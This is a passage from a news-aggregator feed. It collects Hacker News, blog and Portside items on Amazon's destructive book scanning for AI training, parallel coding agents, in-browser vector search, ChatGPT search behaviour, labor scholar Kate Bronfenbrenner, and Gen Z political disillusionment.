In Rust 1.96.0 we fixed this, so this code was no longer UB. In this release we have updated the ManuallyDrop documentation, providing a stable guarantee that this code will continue to not be UB in the future. See ManuallyDrop docs and the related RFC 3336 for more information.

Stabilized APIs

Other changes

Check out everything that changed in Rust , Cargo , and Clippy .

Contributors to 1.98.0

Many people came together to create Rust 1.98.0. We couldn't have done it without all of you. Thanks!

It is a sign of the times that Amazon gets to call this fair use

Hacker News
observationalepidemiology.blogspot.com
2026-08-20 20:34:32
Comments...
Original Article

This 404 report justly been getting considerable coverage.

Amazon is buying massive quantities of books, scanning them for AI training data, and destroying them in the process.

A 404 Media investigation was able to reveal Amazon’s book buying operation, which hasn’t been previously reported, by placing a tracking device in a rare book we suspected would be acquired by an AI company for training data, and following it around the country to its final destination.

That final destination was an Amazon warehouse in Las Vegas, Nevada. Amazon employees who work at this location say all they do is receive massive shipments of printed books which they then cut the bindings off in order to scan the books more quickly. The printed book is destroyed in the process. The logo of the Amazon team that works at this warehouse, called VGT3, is a dinosaur, brandishing its teeth and with a book in its hands.

...

We’re not revealing the titles of the books included in the shipment we tracked, but they are rare, meaning there are not many copies of them in circulation. Sometimes that’s because not many copies of them were ever printed, and sometimes because they are in a foreign language not many people speak. As the bookseller who sold them told me, there are not many people in the world who would care about them in the same way people might care about the first edition of Oliver Twist , but that doesn’t mean they’re not valuable.

“There are different types of value,” the bookseller said. “There's monetary value, obviously, but there are a lot of other types of value. There's historical value, intellectual value, sentimental value. All sorts of things, and all of those the AI companies don't care about. They just want the content as a bunch of words strung together.”

As mentioned elsewhere, this is also IP theft on a massive scale.

There is, however, one aspect which hasn't gotten to play it deserves, namely how a genuinely ethical and public spirited company handles the same problem .

Scanning all the Books: The Work of Scribes for the Internet Archive
Anne-Laure Freant

In 1996, computer engineer Brewster Kahle founded the Internet Archive with the mission to provide "universal access to all knowledge." Today, that vision drives the methodical work happening in scanning centers where operators carefully digitize books one page at a time, preserving both the content and the physical integrity of centuries-old volumes.

The Internet Archive's approach stems from a fundamental disagreement with the digitization methods that emerged in the early 2000s. When Google launched its Books project in 2004, it revolutionized the scale of digital libraries but introduced a troubling trade-off: speed versus preservation . Google's industrial approach often involved destructive scanning—cutting book spines and dismantling bindings to facilitate rapid automated processing.

The Internet Archive chose a different path. "At the Internet Archive, we never destroy a book by cutting off its binding. Instead, we digitize it the hard way, one page at a time". That led to the adaptation of machines and software to fit the very specific purpose of the Internet Archive, and to a job: book scanner, or scribe operator .

Just to be clear, the destructive method is faster and cheaper but given the tremendous resources of Amazon and the spectacular amount of money that has been spent and in many cases demonstrably wasted pumping up the AI bubble, that's not much of an excuse. Arguably even worse when you remember this is all going to train the latest of Amazon's crappy Nova series.

This was a choice they made, just like setting up massive fossil fuel power plants now rather than taking the time to increase nuclear and renewable capacity was a choice, just like stealing the intellectual property of countless writers and artists was a choice, just like rolling out products that weren't ready for prime time was a choice, just like setting up ridiculously at complex and deceptive financing schemes rather than growing the industry in a sustainable way was a choice.

There's no such thing as a small software team anymore

Hacker News
jacob.gold
2026-08-20 20:28:37
Comments...
Original Article

Uber infamously runs thousands of microservices . They ended up with so many services because hundreds of engineers wanted to deploy on their own schedule, with clear ownership of their code, instead of waiting in one giant merge queue.

For decades a small team with 5 or 10 people writing code at the same time didn’t even need to consider doing this. On a busy day a small team might generate 50 commits/20 pushes/10 PRs. A small team today, running 20-100 agents in parallel, might generate 500 commits/200 pushes/100 PRs.

So Uber’s approach to modularity may have seemed extreme at the time, but it could become the new normal.

One developer coding in a “single-threaded” way, editing one file at a time: A single VS Code window with one repository open, one file being edited by hand, and one terminal running a build

One developer coding in a “multi-threaded” way, using coding agents in parallel: Many agent spaces running at once across several machines, with a diff, a task list, and a chat session open side by side

The more modular your code, the more agents you can run

If you have a large monolithic service where every change has to be coordinated carefully, there’s a good chance two pieces of significant work will trample on each other and force you to resolve merge conflicts and refactor.

If you have thousands of microservices like Uber, you’ve got an “embarrassingly parallel” way of working on code. Fire up a coding agent for each one, tell it to “improve performance”, and there’s a good chance you ship significant improvements across all of them.

100+ coding agents running in parallel have to work well independently. If they spend all their time resolving merge conflicts, fixing broken builds, and creating deployment nightmares, you can end up with net-negative productivity.

Modularity got cheap

Splitting things up used to be very expensive, since every service meant more boilerplate, plumbing, and CI config. Agents write all of that now, so the overhead matters a lot less.

Agents are also extremely context-limited. A module (whether it’s a service or a library) that’s small enough to fit in the context window dramatically improves coding agent performance.

The modularity of your codebase determines how many coding agents you can run in parallel effectively, so now it’s worth designing for it from the beginning.

Copyright does not protect AI-generated content in EU

Hacker News
mathstodon.xyz
2026-08-20 20:15:12
Comments...

Show HN: ParqDB – Vector search in the browser from Parquet over HTTP"

Hacker News
search.parqdb.io
2026-08-20 20:13:39
Comments...
Original Article

WIKI SEARCH

NO QUERY SERVER. JUST OBJECT STORAGE + YOUR BROWSER.

Type a question to search 100,000 Wikipedia articles. ParqDB builds an IVF-LVQ8 index over their MiniLM embeddings and publishes it to object storage as immutable Parquet files. Your browser embeds the query, reads only the required byte ranges, and ranks results in WASM. No query server sees your data.

LEGACY browser ── QUERY──> vector DB ──READ──> object storage VECTOR DB ×

PARQDB browser + WASM ──HTTP RANGE──> object storage DIRECT

02 / query profiler AWAITING EXECUTION

requests 0

memory range hits 0

transferred 0 B

selected cids

candidates

query time

EMBED text → 384d in ONNX/WASM

DISCOVER manifest.json

ROUTE global LVQ8 centroid top-nprobe

PRUNE footer → selected row groups

RANK LVQ8 distance + bounded top-k

LOOKUP doc_id → Wikipedia rows

03 / HTTP trace 0 MEM HITS · ORDERED CACHE + NETWORK EVENTS

$ waiting for range requests _

04 / WIKIPEDIA RESULTS · RANGE-LOOKED-UP BY DOC_ID

ChatGPT search now uses the site:operator at scale

Simon Willison
simonwillison.net
2026-08-20 19:57:32
ChatGPT search now uses the site:operator at scale Promptwatch is part of the emerging "GEO" space, for Generative Engine Optimization - the chatbot version of SEO, where companies offer tools and consulting to help your site increase its presence in replies to prompts inside tools like ChatGPT. The...
Original Article

20th August 2026 - Link Blog

ChatGPT search now uses the site:operator at scale . Promptwatch is part of the emerging "GEO" space, for Generative Engine Optimization - the chatbot version of SEO, where companies offer tools and consulting to help your site increase its presence in replies to prompts inside tools like ChatGPT.

The Promptwatch product uses automation to track responses to prompts across end-user chat products like ChatGPT, Claude, and Gemini. They publish aggregate reports on this as part of their own content marketing strategy, which do seem to provide credible hints as to otherwise invisible design changes to those products.

Their own tracking shows a notable change aligned with the GPT-5.6 rollout earlier this month:

The percentage of all ChatGPT Search fanout queries that contain the site:operator, per day. The share hovered between 0.3% and 0.5% for weeks, dipped briefly to 0.15% on August 3 to 5 (consistent with a staged rollout or pre-launch experiment), then jumped to 16-17% on August 8.

It's important to note that these figures only reflect the prompts for which they have automated tracking enabled.

This corresponds to OpenAI's somewhat vague August 6th announcement :

For Plus and Pro users, we’re updating GPT‑5.6 Sol in Chat to be more reliable with facts and provide more focused answers.

Once again I am hampered by OpenAI's decision to actively obscure their system prompts, but from poking at ChatGPT I believe their latest search tool has a shape like search(query, recency, domains) rather than encouraging a site: operator directly.

In a follow-up on August 18th Promptwatch reported that ChatGPT appeared to have greatly reduced the likelihood of Reddit being used in those searches. My own attempts to ascertain if the system prompt has been updated to discourage Reddit sourcing have been unsuccessful - the most thorough leaked system prompt collection I know of doesn't yet show any relevant changes.

Stealth Model

Hacker News
openrouter.ai
2026-08-20 19:56:35
Comments...
Original Article

Not available in this workspace

Kate Bronfenbrenner, the Union Organizer’s Scholar

Portside
portside.org
2026-08-20 19:40:58
Kate Bronfenbrenner, the Union Organizer’s Scholar jay Thu, 08/20/2026 - 19:40 ...
Original Article

Kate Bronfenbrenner started by asking union organizers to walk her through their campaigns, from beginning to end.

Bronfenbrenner, who retired this year from Cornell University’s School of Industrial and Labor Relations (ILR) after more than twenty-five years teaching and researching there, has spent four decades studying why some union campaigns succeed while others fail.

What happened after workers first began talking to one another? When did management realize there was an organizing drive? Who served on the organizing committee? Why did one campaign succeed while another failed? Those questions first emerged in her dissertation research in the late 1980s.

“There was no silver bullet, no formula,” she said. “It was more that unions were running very weak campaigns. The building blocks of organizing weren’t even being done, the basic things — knowing who you’re organizing, knowing who the employer was, having a committee that was representative of the unit and played an active role in the campaign. We’re not talking about fancy tactics. We’re talking about the basics.”

Over the next four decades, Bronfenbrenner’s research on union campaigns, employer opposition, and global corporate restructuring became standard reading in organizing departments. The Strategic Corporate Research Summer School at Cornell trained generations of union researchers and organizers and will continue after Bronfenbrenner’s involvement: This summer, the program was held for the first time at the School of Labor and Urban Studies in the City University of New York (CUNY).

Bronfenbrenner’s work reached well beyond academia. The AFL-CIO distributed her research to organizers around the country, and unions brought her in to train their staff. “Probably the most effective thing I did was the Blueprint for Change ,” a major assessment of successful union organizing strategies around the country, she told me. The AFL-CIO “gave it free to every organizer in the country, every union,” and “I think there are organizers who changed how they’re organizing.” Few labor scholars can claim as big of an impact on the labor movement as Bronfenbrenner.

An Organizer Before an Academic

B ronfenbrenner had not planned to spend her career studying union organizing. She grew up in Ithaca, New York, the daughter of immigrants from Germany and Russia. Her father, a child-development scholar who worked on the creation of Head Start, spent time in Mississippi during the civil rights movement. Her mother organized locally for Eugene McCarthy and George McGovern. As a teenager, she skipped school to attend demonstrations at Cornell, leaving notes explaining that she was participating in acts of civil disobedience before returning to serve detention.

She spent two years at Kenyon College before transferring back to Cornell, where she studied prisons, welfare rights, and indigenous history. After graduating, she moved to Seattle, where she helped run a food bank and organized around welfare rights alongside legal-services attorneys, part of a network of labor, welfare-rights, anti-racist, antinuclear, and community organizations.

“We actually mapped out and discovered that, for all of us, the people we were fighting against all lived in one gated community in Seattle,” she recalled.

From there, she moved to Mississippi, expecting to organize pulpwood cutters with the United Woodcutters Association. “The night I got there,” she recalled, “I hear, ‘Thank God we got another woman. She can help with the bookkeeping and the housekeeping.’” Bronfenbrenner ended up building a credit union and tool cooperative with predominantly black pulpwood cutters, who were trapped in debt to the dealers who bought their timber and financed their equipment. She taught workers how credit unions functioned using drawings, because many had no more than an elementary school education.

After the Mississippi campaign collapsed when employers classified the woodcutters as independent contractors, Bronfenbrenner moved to Massachusetts and went to work for Service Employees International Union (SEIU) Local 285, where staff organized new workers, bargained contracts, handled grievances and arbitrations, lobbied legislators, and represented existing members. There were no separate organizing or servicing departments. “You did everything,” Bronfenbrenner recalled.

Her organizing career was interrupted by a random violent crime. In 1977, a stranger gained entry into Bronfenbrenner’s Seattle apartment and attacked her. She survived, but the attack damaged her spine, leaving her permanently physically disabled. She returned to organizing after nearly a year away from work, but over time bargaining, picketing, and the other physical demands of the job became harder. Friends in the labor movement suggested labor education.

Kate Bronfenbrenner with United Steelworkers leader George Becker.  (Courtesy of Kate Bronfenbrenner  //  Jacobin)

Bronfenbrenner had sworn she would never get a PhD. “I wanted to be an organizer,” she told me. “I didn’t want to go back to college.” She returned to Cornell for graduate school and worked as a labor educator at ILR, teaching union members and staff while beginning research on problems unions were confronting in their workplaces. One of her first projects examined the growing use of part-time, temporary, and leased workers. Instead of running campaigns herself, she was now teaching, researching, and speaking with union leaders about the changing workforce.

Bronfenbrenner would spend more than twenty-five years at ILR without receiving tenure. Academia has not always placed the same value on the kind of engaged research she did, much of it intended to be used by organizers.

Learning to Ask

T hat work soon brought Bronfenbrenner to the attention of Virginia Diamond, then–assistant director of organizing at the AFL-CIO. Diamond approached Bronfenbrenner after a presentation she gave in 1988 to the federation’s executive council on organizing part-time, temporary, and leased workers. Diamond asked whether she would be interested in conducting the first real national study of union organizing. Bronfenbrenner, on the hunt for a dissertation topic, was available.

“A week later, eight boxes come to my office,” she recalled. Inside were surveys the federation had attempted to collect from organizers around the country, asking about union and employer tactics and the workers being organized. The project was far larger than the dissertation she had expected to undertake. “And I did not realize that if I did it once, I’d be asked to do it again, and then again, then again.”

Most industrial relations research focused on the legal and economic environment surrounding elections rather than on organizing itself. Bronfenbrenner instead tracked down the lead organizer for each campaign and reconstructed the organizing drive. She later replicated and expanded the work in the public sector with sociologist Tom Juravich. In their 1995 paper , “Union Tactics Matter: The Impact of Union Tactics on Certification Elections, First Contracts and Membership Rates,” they wrote that there had been “surprisingly little micro-level research that looks intensively at the organizing process itself.”

“There was a general belief that employer tactics were determinative,” Bronfenbrenner told me. “But by interviewing organizers and researching the companies, you could actually see what tactics mattered, what demographics mattered, what made campaigns succeed.”

Bronfenbrenner found that “union tactics — what unions actually do during a campaign — as a group matter more than employer behavior or any other set of factors.” They found that unions could improve their odds by beginning “to act like a union and build strong rank-and-file organizations from the very beginning of the campaign.”

The strategies associated with higher win rates included representative committees, personal contact, escalating pressure tactics, rank-and-file volunteers, a focus on dignity and fairness, and preparing for the first contract during the organizing campaign.

Before submitting the dissertation, Bronfenbrenner sent a summary to every organizer she had interviewed, a practice she continued with later studies. “For a lot of organizers, it was like, ‘Thank you. Somebody’s paying attention to us, listening to us,’” she recalled. “It mattered that they got the results.”

Soon the New York State AFL-CIO and unions including the United Auto Workers (UAW), SEIU, and UNITE HERE were bringing her in to train organizers.

Union leaders readily embraced her findings on employer coercion and the weakness of labor law. Her findings about unions themselves were a harder sell. Many campaigns were underfunded, lacked representative committees, or relied on organizing staff that bore little resemblance to the workers they hoped to organize.

“They loved the fact that I was tracking employer opposition and how terrible it was,” Bronfenbrenner said. “But they didn’t like the fact that I said, ah, but union tactics matter. You know the odds of changing what employers do, but the one thing you can change is what unions do.”

The surveys also asked organizers systematically about race and gender. Allies in the AFL-CIO warned her that some affiliates would be furious. Women and workers of color made up much of the workforce being organized, while organizing staffs remained overwhelmingly white and male. Campaigns led by women and organizers of color had substantially higher win rates than those led by white men. Bronfenbrenner moved the demographic questions to the end of the survey so hostile respondents would finish it before abandoning it.

“No one had had these kinds of conversations in depth before,” she said. Most organizers appreciated being asked.

What Organizers Do

By the time Bronfenbrenner began surveying organizers in the late 1980s, employers were using remarkably similar anti-union campaigns.

“The majority of unions were still organizing by standing at the gate and handing out cards,” she told me. “Most didn’t have organizing departments. They didn’t invest significant resources in organizing. They didn’t even know who owned the companies.”

“But they found a system that works,” Bronfenbrenner said of the employers. “Their management tactics really haven’t changed that much, except by adding technology. They know that threats and interrogation and promises and surveillance — all of that works.”

Bronfenbrenner’s 2009 report , No Holds Barred: The Intensification of Employer Opposition to Organizing , drew on a random sample of 1,004 National Labor Relations Board (NLRB) elections held between 1999 and 2003 and detailed surveys of 562 campaigns. The report described an NLRB election process in which it was “standard practice for workers to be subjected to threats, interrogation, harassment, surveillance, and retaliation for union activity.”

Employers threatened to close facilities in 57 percent of campaigns, threatened wage or benefit cuts in 47 percent, and discharged union supporters in more than a third. In two-thirds of elections, workers were required to attend one-on-one anti-union sessions with supervisors at least weekly. “Since the rise of the union-avoidance industry in the 1970s,” she wrote, “we have witnessed a significant increase in the intensity and aggressiveness with which private-sector employers have opposed organizing efforts.” As corporations restructured and globalized, “corporate anti-union strategies have become more sophisticated.”

“The unions had not really figured out how to combat that,” she told me. “They were sending out lots and lots of leaflets and flyers, but not actually developing the committees to counteract the opposition within the workplace.”

Campaigns that were well-organized still ran into a problem she hadn’t fully appreciated in the early surveys. Managers might discipline workers, hire them, or bargain with them. But decisions about ownership, investment, or shutting down a plant increasingly originated somewhere else.

The Research They Wanted

S ome employers responded to Bronfenbrenner’s research in court. After she testified in 1997 at a congressional town hall meeting in Pittsburgh on employers’ anti-union conduct, Beverly Enterprises sued her for defamation. The nursing home company objected to her description of it as “one of the nation’s most notorious labor law violators” and sought $225,000 in damages. The company also sought Bronfenbrenner’s confidential surveys through discovery.

Bronfenbrenner regarded access to the data as the real danger. Organizers had answered her surveys on the understanding that their identities and campaigns would remain confidential. “These SLAPP suits were designed to try to make all scholars afraid to do corporate research,” she told me, referring to “strategic lawsuits against public participation.” She feared that if she were ordered to surrender the confidential material, she might ultimately have to refuse. “I thought I was going to have to go to prison,” she said.

A federal judge dismissed Beverly’s suit in May 1998, finding that Bronfenbrenner’s remarks were protected because they had been made in a legislative proceeding. But the case made her work a target of employer groups and conservative critics. “Cornell constantly got called with complaints,” she said. “People wanted them to fire me.”

Years later, Bronfenbrenner flew to London to speak at a meeting of the International Bar Association. She learned while she was boarding that the panel had been changed: management consultants and employer representatives would be appearing alongside her. Bronfenbrenner came to believe it had been reorganized to expose her to a libel suit in England, where, she had been warned, defamation law was considerably more favorable to plaintiffs than in the United States.

A British barrister met her at the airport. For the next hour, he prepared her for the session. His instructions were simple: answer every question by reading from her published work, and say nothing more.

“They kept trying to provoke me,” she recalled. “But no matter what they said, I read.” No libel suit was filed against her.

Strategic Research

P ublic sector unions wanted the same kind of analysis Bronfenbrenner had done for private sector organizing. Bronfenbrenner had by then taken a job at Pennsylvania State University, where she and Juravich taught in programs for the United Steelworkers.

“We got asked to do the Ravenswood project,” Bronfenbrenner recalled, “which became an ethnographic project that took six years.”

The United Steelworkers’ fight against Ravenswood in the early 1990s became a key example of strategic corporate campaigning in the US labor movement.  (Cornell University Press)

The campaign had begun in 1990, when members of United Steelworkers Local 5668 were locked out of Ravenswood Aluminum in West Virginia after contract talks broke down amid company demands for concessions and disputes over safety. By the time Bronfenbrenner and Juravich began studying it, the dispute had expanded far beyond the mill. The union had traced the company’s ownership through Marc Rich’s commodities empire, identified its customers and business partners, and built pressure in the workplace, the community, and internationally. Workers had to hold together through a lockout that lasted nearly twenty months.

In Ravenswood: The Steelworkers’ Victory and the Revival of American Labor , Bronfenbrenner and Juravich follow the strategic campaign. Decisions affecting the lockout originated with owners, lenders, customers, and investors who never set foot in West Virginia.

In 1992, the company settled. The locked-out workers returned to the plant with a contract, and the episode became a key example of strategic corporate campaigning in the US labor movement. Ravenswood also changed the questions Bronfenbrenner was asking. Increasingly, the important decisions lay beyond the employer that workers saw every day.

Across Borders

A fter Ravenswood, Bronfenbrenner increasingly focused on companies whose operations, suppliers, customers, and workers crossed national borders. Her 2000 report , Uneasy Terrain: The Impact of Capital Mobility on Workers, Wages, and Union Organizing , examined how the threat of moving production affected organizing and bargaining even when companies never ultimately relocated. She began tracing ownership, subcontracting, and production across multinational firms rather than one workplace at a time.

In February 2006, that work culminated in a three-day conference in New York titled “Global Companies–Global Unions–Global Research–Global Campaigns.” Bronfenbrenner and labor leaders including Rich Trumka, Bruce Raynor, and Ron Blackwell had spent nearly four years preparing it, and more than 560 unionists and researchers attended. Much of the conference was organized around multinational corporations rather than countries or individual unions, bringing together workers employed by different parts of the same company. Participants from the Global South were there not simply to describe conditions in their countries but to help plan campaigns alongside workers elsewhere.

The conference organized research around ten multinationals, including Walmart, Alcoa, Sanofi-Aventis, Starwood, Kraft, and Exxon Mobil. Together they reconstructed each company — its ownership, customers, suppliers, finances, and operations — before asking where workers might actually exercise leverage across borders.

One of the researchers was Aaron Brenner, then a financial analyst whose clients included mutual funds and hedge funds who also wrote occasionally for Labor Notes . “It wasn’t enough to get the unions in a room,” Brenner, who is now a senior capital markets analyst at the United Food and Commercial Workers, recalled. “You needed to give them the research and analysis that allowed them to design campaigns.”

Brenner presented the Walmart research to unionists who had studied or organized the company in Mexico, Britain, and Canada. Brenner later said the conference was followed by a “mini-boom” in strategic-research jobs in unions in the United States and abroad. The proceedings became Global Unions: Challenging Transnational Capital Through Cross-Border Campaigns , edited by Bronfenbrenner.

In the late 1990s, David Chu, then head of strategic research at the AFL-CIO, approached Bronfenbrenner about creating a program to expand unions’ research capacity. The first Strategic Corporate Research Summer School was held at Cornell in 2001. Bronfenbrenner developed the corporate-research model used in the program with Keith Mestrich and Tom Juravich.

The course required forgetting that you were organizing workers. Participants were asked to think like the company instead. How did it make money? Who owned it? Where was it borrowing? Who sat on the board? Which customers, suppliers, lenders, investors, or government agencies mattered most? Which decisions were made locally, and which somewhere else entirely? Only then did they begin thinking about organizing strategy.

Each team worked on a real company, usually one drawn from a participant’s own campaign. Over the course of the week, they reconstructed its ownership, finances, customers, suppliers, logistics, and governance before asking where workers might actually exercise leverage.

This year, after Bronfenbrenner’s retirement, the program moved to CUNY’s School of Labor and Urban Studies under the direction of labor scholar Stephanie Luce. Nearly 150 people applied for roughly sixty spots this year, including union researchers, organizers, rank-and-file members, and recent graduates.

Only after taking over did Luce fully see how much work Bronfenbrenner had put into each session. Bronfenbrenner read every application and built the student groups herself, matching participants whose skills and experience might complement one another.

“She’s extremely conscientious about the quality of her research,” Luce said about Bronfenbrenner, “but also the ethics of what the research is for, never losing sight that at the end of the day this is about rank-and-file worker power.”

Kate Bronfenbrenner, second from left, at a retirement party organized by former students.  (Courtesy of Kate Bronfenbrenner  //  Jacobin)


The Big Companies

Amazon is the kind of company Bronfenbrenner thinks unions have to organize.

“I think Amazon has multiple points,” she said. “Certainly, the distribution centers matter, but also the drivers matter, the ships matter, the airlines matter.”

Bronfenbrenner doesn’t think unions can avoid companies such as Amazon and Walmart simply because they’re difficult to organize. “The answer is not to organize small,” she said. “You’ve got to organize the big companies, even though that’s harder.” She pointed to national campaigns by the Steelworkers, UAW, UNITE HERE, Communications Workers of America, SEIU, and the Union of Southern Service Workers as examples of unions experimenting with forms of organizing that do not fit neatly into the traditional NLRB election model.

“If labor isn’t taking on the very same corporations that are telling Trump what to do. . . . ” she said. “You just have to take on those companies, and that means private equity, and that means Walmart and Amazon.”

The question comes up again after an election.

“How you define victory is problematic,” she said. “If you define victory as winning an election, that’s a big mistake. That’s just a step. But if you define victory as: you got the employer to make a change, and then you start fighting these fights all along, then you’re going to be able to get a majority of workers slowly but surely.”

The Starbucks union drive is a prime example. Workers at a Buffalo Starbucks won the first successful union election at a company-operated Starbucks in the United States in 2021, but organizers continued taking the campaign to other stores rather than waiting for a first contract. “If the union had just said, ‘Oh, we’re not going to move ahead until we get a first contract at Buffalo,’ there would have been no campaign with Starbucks.”

The same went for labor law reform: it mattered, Bronfenbrenner said, but whatever legal rights workers had, “you had to organize.”

The Next Campaign

At the final Cornell session last summer, Brenner recalled what Bronfenbrenner had told him years ago during that first week of the program that he attended: “She explained that I could get a job with a union, that unions needed my skills, that the labor movement needed my skills.”

“As it turned out,” he recalled, “I didn’t learn that much more about researching companies. But I learned a ton about analyzing them for the purposes of organizing and bargaining.” Brenner eventually returned to the Summer School as an instructor, teaching alongside Bronfenbrenner for roughly two decades.

For Chris Brooks, a former Labor Notes staffer who served as UAW President Shawn Fain’s chief of staff (and is currently a Jacobin columnist), “Bronfenbrenner is not just one of the smartest and most rigorous labor academics in the country, she is also one of our movement’s best strategists.”

“It’s the tragedy of our movement,” Brooks said, “that so few have listened to her or taken these lessons to heart.”

Today strategic corporate research is taught at the AFL-CIO, Rutgers, the University of California, Los Angeles, CUNY, the University of Massachusetts, and by unions and labor organizations in the United States and abroad.

Through her decades of research, Bronfenbrenner changed the way organized labor uses research in assessing where companies’ pressure points are and how to fight back against anti-union tactics. Very few people were doing such work when she started. Now, as she retires, many aspects of her approach have become common sense across much of the labor movement.

“Getting members to go through the hoops of fire that it takes to organize, it’s a big ask,” Bronfenbrenner told me. “It is always amazing to me that workers do organize rather than that they don’t, because it is hard to organize, particularly in this very divisive society, coming together and building solidarity.”

Jacobin who covers labor organizing. ]

Get four print issues and full access to our archive for just $20

Gen Z Isn’t Apolitical. It’s Lost Faith in Capitalism.

Portside
portside.org
2026-08-20 19:04:36
Gen Z Isn’t Apolitical. It’s Lost Faith in Capitalism. jay Thu, 08/20/2026 - 19:04 ...
Original Article

Generation Z is often described as distracted, cynical, politically inconsistent, or allergic to institutions. But this description misses the deeper rupture. What distinguishes this generation is not a lack of politics but the collapse of faith in the institutions and rules that once gave politics, work, and adulthood a recognizable structure.

For decades, capitalism promised young people a sequence: education would lead to work; work would lead to stability; stability would lead to a home, a family, and a life with some measure of dignity. This promise was never distributed equally. For many, it was always fragile. But for Generation Z, it has now become almost impossible to believe in.

Across very different societies, young people are entering adulthood through the same narrow door. Behind that door lie precarious jobs, unstable housing, student and consumer debt, algorithmically managed labor markets, climate anxiety, and political institutions that appear either too weak or too captured to change anything meaningful.

This generation does not trust parties, leaders, or institutions. Yet it also votes, boycotts, protests, organizes online, quits jobs, and channels its anger through digital platforms. Most importantly, it can turn everyday life into a political battleground. Its politics is fragmented, fast moving, leaderless, and often reabsorbed by the very markets it rejects. But it is politics nonetheless.

In interviews conducted for this article, Guy Standing, Emre Erdoğan, Christian Fuchs, and Anu Muhammad described different parts of the same crisis: the making of a generation with no secure occupational future, no stable social contract, and no convincing reason to believe that capitalism can still deliver on its promises.

A nineteen-year-old university student living in Istanbul puts it more bluntly: “I don’t have an ideology. I just have a world order that I hate.”

That sentence captures something larger than youthful anger. What we are witnessing is a generational rupture. Generation Z has not withdrawn from politics. It is simply disillusioned with the old language and model of politics. And it has grown up in a world where old political vocabularies can no longer make sense of the insecurity it faces.

Generation Z does not exist outside class relations. Changes in capitalism have reshaped the class structure and the conditions of work, and Gen Z has come of age within these new relations. What we describe as “Gen Z politics” should not be understood as the politics of a homogeneous generation but as a generational expression of a broader transformation in class relations.

A Generation Without an Occupational Future

The British economist and labor theorist Guy Standing has spent years describing the rise of a new class: the “precariat.” This is not simply a group of people with bad jobs. It is a class shaped by insecurity itself: unstable employment, irregular income, debt, the absence of occupational identity, and the constant requirement to retrain, rebrand, and remain available for work that may never become secure.

Standing understands the contemporary economy as “a globalized rentier age”: “We are living in the globalized rentier age of capitalism; income, wealth, and power are increasingly flowing to those who own wealth and to elites who own the main forms of property,” he says. “The vast majority of young adults will face unstable and insecure jobs. They will live with low and uncertain wages and will be in almost constant debt.”

For Standing, the issue is not merely that young people have worse labor conditions than previous generations. The issue is that each new generation is being drawn more deeply into the precariat than the one before it.

As he puts it, “Each new generation is more involved in this class than the previous one.” For standing, the work possibilities for young people are so bleak that they have “no occupational future.”

“Individuals in the precariat are also forced to constantly search for jobs, retrain themselves, and find new sources of income,” Standing says. “Most of these activities are unpaid and invisible. Therefore, people cannot develop an occupational identity and cannot position themselves within a stable career line.”

This is the collapse of one of capitalism’s classic promises. The old story about work in liberal democracies was that it would give young people not only wages but direction, belonging, and a future. In the new labor market, work often gives them only exhaustion, uncertainty, and debt.

Standing also emphasizes that this condition produces bodily and psychological consequences. Chronic uncertainty does not remain outside the body. It turns into stress, illness, and fear.

“Especially young people, but everyone in the precariat generally, has to cope with chronic uncertainty,” he says. “This means facing ‘unknown unknowns’; that is, there is neither robustness to withstand shocks nor resilience to recover. The individual consequences of this are debt, stress, and increasing illnesses.”

This is not a temporary labor market problem. It is a political condition. When young people can no longer imagine a stable future through work, they also begin to lose faith in institutions that still speak as if such a future exists.

The Rules No Longer Work

E conomic insecurity alone does not explain Generation Z’s politics. What makes the present rupture deeper is the collapse of the belief that society has clear and legitimate rules.

Political scientist Emre Erdoğan, whose research focuses on social trust, youth, and political behavior, describes this as a broader crisis of the postwar social order. Erdoğan argues that young people’s insecurity reflects the breakdown of the institutions that once gave capitalism legitimacy. “The post-1945 consensus has ended,” Erdoğan says.

“The United Nations order has ended. The system established by the World Bank, IMF, and World Trade Organization has collapsed. The welfare state has collapsed. What we call the safety net no longer exists. When you fall, who will hold you? The answer is: family, relatives, fellow countrymen. Not the state.”

Standing’s analyses explain the economic condition, and Erdoğan explains why it becomes political. Young people are not only struggling to find work. They are also struggling to understand which rules they are supposed to follow.

“You can no longer say to young people, ‘If you work hard, you will succeed,’” Erdoğan says. “We do not know how to succeed. People increasingly do not believe in the rules. There is no consensus on what is required to be successful in this society. Young people struggle not only to find jobs but to understand what rules they should follow. This uncertainty, over time, turns into a perception of structural injustice rather than a feeling of individual failure. And this perception feeds anger.”

This distinction matters. If young people believed their problems were merely personal failures, the result might be shame, withdrawal, or quiet despair. But when insecurity is understood as structural injustice, anger becomes political.

A Greek Erasmus student in Istanbul describes this distrust starkly: “If I ever vote, it will probably be in protest or to destroy something, not because I trust some politician.”

This is not merely cynicism. It is an expression of anomie: a condition in which the rules of social life lose their legitimacy. The young person may still vote. They may still participate. But the act is no longer rooted in trust. It becomes an act of refusal.

Erdoğan has a single word for this condition: “resentment.”

In Turkey, this resentment appeared powerfully during the Gezi Park protests in 2013, when an environmental protest grew into a mass anti-government movement. While Gezi predates the political world of Gen Z, the resentments that Erdoğan identifies have since reappeared in more recent forms of protests: student movements, urban protests, online campaigns, consumer boycotts, and leaderless acts of refusal.

Around the world, Generation Z has repeatedly been at the forefront of political upheaval. This is not due to a shared generational ideology; it is a result of the shared experience of precarity and institutional distrust. From climate strikes to the women-led uprising in Iran to youth mobilizations in Bangladesh and Nepal to India’s recent “Cockroach” protests , Gen Z has repeatedly emerged as a disruptive force in moments of political crisis.

Anger is not new. What is new is its speed, its mobility, and the way it travels across streets, screens, workplaces, campuses, and markets.

Digital Capitalism and the New Terrain of Struggle

I t is tempting to say that social media is the driver of Gen Z’s politics. But that would be too simple. Digital platforms did not create exploitation, debt, insecurity, or police violence. But they have changed the terrain on which these conflicts are seen, organized, accelerated, and monetized.

Media theorist Christian Fuchs, whose work focuses on digital labor and capitalism, argues that platforms should be understood not as the cause of contemporary uprisings but as mediators of social struggle under digital capitalism:

Social media is not the cause of contemporary protests, rebellions, and revolutions. Given that young people are highly proficient in technology, it is natural that they use all kinds of digital media in protest communication, coordination, and organization. Precarious labor is certainly an important factor in some Generation Z protests. However, we cannot say that these protests are ‘created’ by social media platforms. In digital capitalism, these platforms do not create exploitation and social struggles but rather mediate them.

The politics that have emerged among many members of Gen Z cannot be reduced to TikTok, Instagram, X, or any other platform. But they also cannot be understood outside them. Generational cohorts do not erase class. Rather, generational experience shapes the conditions under which class relations are experienced. Digital media has become one of the main spaces where Gen Z’s anger circulates, where protest is organized, where identities are formed, and where even opposition can be turned into content, data, and profit.

